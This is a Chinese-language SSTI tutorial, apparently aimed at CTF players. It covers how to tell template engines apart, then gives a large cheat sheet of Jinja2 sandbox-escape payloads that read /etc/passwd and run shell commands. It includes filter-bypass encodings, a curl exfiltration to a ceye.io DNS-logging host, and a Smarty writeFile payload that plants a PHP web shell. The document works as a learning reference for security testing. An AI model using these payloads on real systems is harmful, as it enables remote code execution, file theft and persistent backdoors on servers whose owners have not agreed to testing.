SSTI(模板注入)漏洞

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

模板注入漏洞

SSTI 就是服务器端模板注入(Server-Side Template Injection)

当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

漏洞成因就是服务端接收了用户的恶意输入(一般来说是用户输入的变量)以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

确定漏洞

贴个图

ssti

ssti2

第一层:

  • 如果可以执行${7*7}的结果,那我们进入第二层的a{*comment*}b,如果没用执行结果,那就进入第二层的{{7*7}}
  • 在Mako模板引擎中我们也是${}形式的

第二层:

  • a{*comment*}b中,如果{**}被当作注释而输出ab,我们就可以确定这个地方是Smarty模板,如果不能,进入第三层;
  • {{7*7}}中,如果能够执行,那我们进入第三层。

第三层:

  • 当49的结果为49时,对应着Twig模板类型,而结果如果为7777777,则对应着Jinja2的模板类型
  • 当能够执行${"z".join("ab")},我们就能确定是Mako模板,能够直接执行python命令.

接下来就进入不同模板的不同注入方式

Python模板注入

jinja2

python的一种主流模板,基本你看到页面在输入后会实时回显在页面并且发包后看出语言是python基本就能确认是

{{7*'7'}} -> 7777777 -> jinjia2

这里先简单介绍一下jinja2的语法好了

语法结构

Jinja2使用 结构表示一个变量,它是一种特殊的占位符,告诉模版引擎这个位置的值从渲染模版时使用的数据中获取

Jinja2 模板同样支持控制语句,像在 {%…%} 块中,下面举一个常见的使用Jinja2模板引擎for语句循环渲染一组元素的例子:

<ul> {% for comment in comments %}

  • {{comment}}
  • {% endfor %}<ul>

    另外Jinja2 能识别所有类型的变量,甚至是一些复杂的类型,例如列表、字典和对象。此外,还可使用过滤器修改变量,过滤器名添加在变量名之后,中间使用竖线分隔。例如,下述模板以首字母大写形式显示变量name的值

    Hello, {{name|capitalize}}

    但是这只能在渲染前的模板中进行注入,如果模板已经渲染,就不存在模板注入了:

    from flask import Flask, request
    from jinja2 import Template
    
    app = Flask(__name__)
    
    @app.route("/")
    def index():
        name = request.args.get('name', 'guest')
    
        t = Template("Hello {{n}}")
        return t.render(n=name)
    
    if __name__ == "__main__":
        app.run()

    编译运行,再次注入就会失败img

    {% ... %} for Statements #用来声明变量,也可以用于条件语句和循环语句
    例子:
    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__=='file' %}
    {{ c("/etc/passwd").readlines() }}
    {% endif %}
    {% endfor %}
     
    {{ ... }} for Expressions to print to the template output #将表达式打印到模板输出
     
    {# ... #} for Comments not included in the template output #表示未包含在模板输出中的注释
     
    #...# for Line Statements #有和{%%}相同的效果

    有些时候过滤可能会ban掉双括号,这时候可能就需要用到上面的一些语法

    jinja2的俄罗斯套娃

    看过jinja2相关模板注入题目的人就能明白是什么意思了哈哈()

    介绍一下基类的一些概念之类的吧

    '' [] ()都是最简单的数据类型,而我们最一般的思路就是通过这些来找到基类,这里就要涉及到一些魔术方法了

    那就按顺序进行一个介绍吧

    首先,我们的目的是要找到基类

    于是我们就要用到__class__返回一个实例所属的类

    但是我们的目的是找到Object基类,那么我们需要进一步返回

    所以就要用到__base__ __bases__ __mro__

    base最为直接,就是直接返回上层的父类,而bases是递归返回所有上面的类,术语上是叫元组,mro同理,但是会包含原来就所属的类

    image-20250414125152769

    找到Object之后呢,由于我们的目的是得到一个可以任意命令执行的板块,我们就需要找到os这些类似的方法,那么就要用到__subclass__()以及后面的一些东西

    subclasses是返回子类,通常这个时候就会跳一大串的子类,没脚本是不得行的(不是哥们你真想手找吗)

    而返回子类后我们就要做出一个重大的决策,根据版本打不同的payload,详见文件读取的子类(py2人上人)

    一般我们的选择 是两种

    • 文件读取
    • 内置模块任意命令执行
    #文件读取
    #python2
    file ->('path').read()
    #python3
    _frozen_importlib_external.FiieLoader ->["get_data"](0,"/etc/passwd")
    #当然也可以拿内置模块再文件读取,但是感觉不得已才会这样打
    #函数rce
    #不知道和版本有没有关系,反正找到还没有被过滤直接打就行
    {{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
    {{''.__class__.__mro__[2]__.__subclasses__()[xx].__init__.__globals__['linecache']['os'].popen('ls').read()}}
    {{[].__class__.__mro__[1].__subclasses__()[58].__init__.__globals__['linecache'].__dict__['sys'].modules['os'].system('whoami’)}}
    {{ ''.__class__.__base__.__subclasses__()[10].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()') }}#eval
    #类的rce
    {{''.__class__.__mro__[2]__.__subclasses__()[xx]['load_moudule']("os")["popen"]("ls").read()}}#importlib
    {{''.__class__.__mro[2]__.__subclasses__()[xx]('ls',shell=True,stdout=-1).communicate()[0].strip()}}#subprocess.Popen 个人觉得唯一真神好吧
    #内置OS模块rce(这个其实就多了哈哈)不管类内置的还是函数内置的有就行了,这边重点介绍类的吧,因为函数内置的后面会讲的
    os._wrap_close //117
    warnings.catch_warnings //59
    warnings.WarningMessage
    socket._socketobject
    site._Printer //71
    site.Quitte
    subprocess.Popen //258

    再贴一个找到内置os模块的脚本

    #coding:utf-8search = 'os'   #也可以是其他你想利用的模块
    num = -1
    for i in ().__class__.__bases__[0].__subclasses__():
        num += 1
        try:
            if search in i.__init__.__globals__.keys():
                print(i, num)
        except:
            pass

    后面的操作就比较公式化了

    直接贴一下好了

    #python2
    __init__.__globals__['os'].system('whoami')
    __init__.func_globals.linecache.os.popen('id').read()
    __init__.func_globals.values()[13]['eval']('__import__("os").popen("ls").read()')
    __init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
    __init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
    
    #python3
    __init__.__globals__['__builtins__']['file']('/etc/passwd').read()
    __init__.__globals__['sys'].modules['os'].system('whoami')
    __init__['__globals__']['os'].popen('ls').read()
    __init__.__globals__['os'].listdir('.')
    __init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()
    __init__.__globals__['__builtins__'].open('filename', 'r').read()
    

    觉得烦?那最快的就来了

    利用flask内置函数,效率高,payload短,就是容易被ban(

    1)config #获取配置信息
    {{config.__class__.__init__.__globals__["os"].popen("cat+/flag").read()}}
    2)lipsum
    {{ lipsum.__globals__.__builtins__.open('/flag').read() }}
    
    3)request
    {{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
    {{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
    
    4)url_for
    {{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
    
    5)get_flashed 
    {{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}

    总结一下,就是先找到一个合适的攻城锤(内含os的类或可命令执行的函数)和一把趁手的宝剑(可以使用的方法)

    jinja2的过滤

    过滤[

    #getitem、pop
    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
    ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen('ls').read()
    #也可以用__getattribute__绕过
    {{"".__getattribute__("__cla"+"ss__").__base__}}
    #或者配合request
    {{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
    
    #或者用print标记
    {%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}

    过滤引号

    #chr函数
    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}
    #request对象
    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd
    #命令执行
    {% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}
    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(chr(105)%2bchr(100)).read() }}
    {{().__class__.__bases__.__getitem__(0).__subclasses__().pop(59).__init__.func_globals.linecache.os.popen(request.args.cmd).read() }}&cmd=id
    #request 绕过
    {{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd    
    \#分析:
    request.args 是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
    若args被过滤了,还可以使用values来接受GET或者POST参数。:
    {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}}
    Cookie:arg1=open;arg2=/etc/passwd
    {{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}}
    post:arg1=open&arg2=/etc/passwd

    过滤下划线

    {{''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
    //request.args.xx就能直接查询对应的参数值,把原参数换成[request.args.xx]即可

    过滤花括号

    #用{%%}标记,同时外带
    {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
    {% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %}

    过滤关键字

    • 利用内置的语法传参的值:

    request.args.[变量名](get传参) request.cookies.[变量名](cookies传参)

    • 使用切片将逆置的关键字顺序输出,进而达到绕过。
    ""["__cla""ss__"]
    "".__getattribute__("__cla""ss__")
    • 反转
    ""["__ssalc__"][::-1]
    "".__getattribute__("__ssalc__"[::-1])
    • 利用”+”进行字符串拼接,绕过关键字过滤。
    {{()['__cla'+'ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev'+'al']("__im"+"port__('o'+'s').po""pen('whoami').read()")}}
    [][%27__cla%27+%27ss__%27][%27__ba%27+%27se__%27][%27__subcl%27+%27asses__%27]()[117]["__in"+"it__"]["__glo"+"bals__"]['popen']('ls /').read()
    • join拼接

    利用join()函数绕过关键字过滤

    {{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}}
    {{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
    {{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
    • 利用引号绕过
    [{{[].__class__.__base__.__subclasses__()40"/fl""ag".read()}}]()
    • 使用str原生函数replace替换

    将额外的字符拼接进原本的关键字里面,然后利用replace函数将其替换为空。

    {{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
    • ascii转换
    将每一个字符都转换为ascii值后再拼接在一起。
    
    "{0:c}".format(97)='a'
    "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}".format(95,95,99,108,97,115,115,95,95)='__class__'
    • 16进制编码绕过
    "__class__"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
    
    例子:
    {{''.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__['__builtins__']['\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f']('os').popen('whoami').read()}}
    \
    同理,也可使用八进制编码绕过
    • base64编码绕过

      对于python2,可利用base64进行绕过,对于python3没有decode方法,不能使用该方法进行绕过。

    {{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
    //__class__

    例子:

    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['X19idWlsdGluc19f'.decode('base64')]['ZXZhbA=='.decode('base64')]('X19pbXBvcnRfXygib3MiKS5wb3BlbigibHMgLyIpLnJlYWQoKQ=='.decode('base64'))}}  
    等价于  
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    • unicode编码绕过
    {%print((((lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f"))|attr("\u0067\u0065\u0074")("os"))|attr("\u0070\u006f\u0070\u0065\u006e")("\u0074\u0061\u0063\u0020\u002f\u0066\u002a"))|attr("\u0072\u0065\u0061\u0064")())%}
    等同于lipsum.__globals__['os'].popen('tac /f*').read()
    • Hex编码绕过
    [{{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}}]()
    {#温馨提示,连关键词都转换掉是有概率褒姒的,推荐用来绕过一下符号的过滤差不多够用了#}
    
    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['\x6f\x73'].popen('\x6c\x73\x20\x2f').read()}}   
    等价于   
    {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}
    
    {{().__class__.__base__.__subclasses__()[77].__init__.__globals__['os'].popen('ls /').read()}}
    • 绕过init
      可以用__enter____exit__替代__init__
    {().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
    {{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
    • 绕过config
    {{self}} ⇒ <TemplateReference None>
    {{self.__dict__._TemplateReference__context}}
    • 过滤args和.和_
    {{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])(request['values']['x9'])}}
    
    post:x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen('whoami').read()

    打马环节(待补完)

    PHP模板注入

    php常见的模板:twig,smarty,blade

    Smarty

    PHP模板的鼻祖,后来的php模板大多都是基于其发展起来的

    基本确定指令

    {$smarty.version} //查看smarty的版本来确定姿势

    说实话,smarty的姿势还是蛮多的,先给三种比较常见的吧

    • 基于XFF的普通注入:在{}内疯狂输出

    • 利用{include}来任意文件读取;string:{include file=’D:\flag.txt’}这时文本内容就被读取了

    通过self获取Smarty类再调用其静态方法

    getStreamVariable:

    public function getStreamVariable($variable)//variable其实就是文件路径
    {
            $_result = '';
            $fp = fopen($variable, 'r+');//从此处开始对文件进行读取
            if ($fp) {
                while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
                    $_result .= $current_line;
                }
                fclose($fp);
                return $_result;
            }
            $smarty = isset($this->smarty) ? $this->smarty : $this;
            if ($smarty->error_unassigned) {
                throw new SmartyException('Undefined stream variable "' . $variable . '"');
            } else {
                return null;
            }
        }
    //可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法
    smarty/libs/sysplugins/smarty_internal_data.php  ——>  getStreamVariable() 这个方法可以获取传入变量的流
    例如:
    {self::getStreamVariable("file:///etc/passwd")}

    payload形如:{self::getStreamVariable(“file:///etc/passwd”)} //在v3.1.30退出历史舞台

    writeFile:

    这个不是很懂,直接引用这个大佬的博客吧

    image-20250307213236244

    public function writeFile($_filepath, $_contents, Smarty $smarty)
        {
            $_error_reporting = error_reporting();
            error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
            $_file_perms = property_exists($smarty, '_file_perms') ? $smarty->_file_perms : 0644;
            $_dir_perms = property_exists($smarty, '_dir_perms') ? (isset($smarty->_dir_perms) ? $smarty->_dir_perms : 0777)  : 0771;
            if ($_file_perms !== null) {
                $old_umask = umask(0);
            }
    
            $_dirpath = dirname($_filepath);
            // if subdirs, create dir structure
            if ($_dirpath !== '.' && !file_exists($_dirpath)) {
                mkdir($_dirpath, $_dir_perms, true);
            }
    
            // write to tmp file, then move to overt file lock race condition
            $_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
            if (!file_put_contents($_tmp_file, $_contents)) {
                error_reporting($_error_reporting);
                throw new SmartyException("unable to write file {$_tmp_file}");
           }

    我们在往上面看,可以看到这个方法是在class Smarty_Internal_Runtime_WriteFile下的,

    我们注意看这段代码

    if (!file_put_contents($_tmp_file, $_contents)) {
                error_reporting($_error_reporting);
                throw new SmartyException("unable to write file {$_tmp_file}");
           }

    这段代码将文件内容写入临时文件,如果写入失败,则恢复先前的错误报告级别,并抛出异常。

    这里的具体解释我会在下面的CVE-2017-1000480具体讲到,先挖个坑,这里写入临时文件,在loadCompiledTemplate函数下,存在语句

    eval("?>" . file_get_contents($this->filepath));

    就有了

    {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}

    我们将<?php passthru($_GET['cmd']); ?>写入了临时php文件中

    self::clearConfig() 是一个 Smarty 内部方法,用于清除模板引擎的配置选项。

    $SCRIPT_NAME 是一个在 PHP 中预定义的变量,用于表示当前执行脚本的文件路径和名称。

    但是writeFile方法也有版本限制,所以我们首先要确定模板的版本,再决定对应的攻击方法。

    标签:

    {$smarty.version}

    获取smarty的版本信息

    {literal}

    此标签的利用方法仅仅是在php5.x的版本中才可以使用,因为在 PHP5 环境下存在一种 PHP 标签, <script>language="php"></script>,我们便可以利用这一标签进行任意的 PHP 代码执行。但是在php7的版本中{literal}xxxx;{/literal}标签中间的内容就会被原封不动的输出,并不会解析。

    作用:{literal} 可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为 Smarty 的定界符而错被解析。

    所以我们就可以利用其的作用来进行xss攻击SSTI等漏洞利用。

    {literal}<script>language="php">xxx</script>;{/literal}

    {php}{/php}

    用于执行php代码

    {php}phpinfo();{/php}

    但是这个方法在Smarty3版本中已经被禁用了,不过多赘述了。

    {if}{/if}

    {if phpinfo()}{/if}
    {if system('cat /flag')}{/if}
    //Smarty的{if}条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||*, or, &&, and, is_array(), 等等,如:{if is_array($array)}{/if}*

    twig